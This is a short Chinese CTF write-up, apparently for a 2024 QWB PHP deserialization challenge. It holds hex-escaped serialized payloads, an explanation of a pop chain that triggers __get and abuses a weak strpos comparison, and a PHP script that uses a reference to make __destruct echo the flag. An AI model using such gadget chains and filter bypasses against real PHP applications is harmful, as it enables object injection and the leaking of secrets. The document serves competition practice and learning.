// O:4:"root":2:{S:8:"username";S:5:"\61\64\6d\69\6e";S:5:"value";S:7:"\32\30\32\34\71\77\62";}
// 1b1e61b2551a1468789525d7166b4e13
// O:4:"root":3:{s:8:"username";S:5:"\61\64\6d\69\6e";s:5:"value";S:7:"\32\30\32\34\71\77\62";s:2:"nn";O:4:"user":1:{s:8:"username";R:3;}}

像是字符逃逸,然后有个value局部变量会会报错导致链子中断所以不能走invoke是一个陷阱,

由于$user->password的调用,我们可以不走destruct而触发get来当作链子起点,然后$this->value就有了flag值

$this->value = $GLOBALS["flag"];

然后最后我们是在destruct中的echo来回显值,通过引用来将value值输出
注意:由于
destruct中的if判断试弱比较所以可以进入if执行语句!
构造pop.php如下即可绕过并输出flag

<?php

class root{
    public $username = "admin";
    public $value = "2024qwb";
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}

class user{
    public $username;
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}

$a = new root;
$a->nn = new user;
$a->nn->username = &$a->value;
echo serialize($a);

// $s = 'O:4:"root":2:{s:8:"username";S:5:"\61\64\6d\69\6e";s:5:"value";S:7:"\32\30\32\34\71\77\62";}';
0 条评论
某人
表情
可输入 255
目录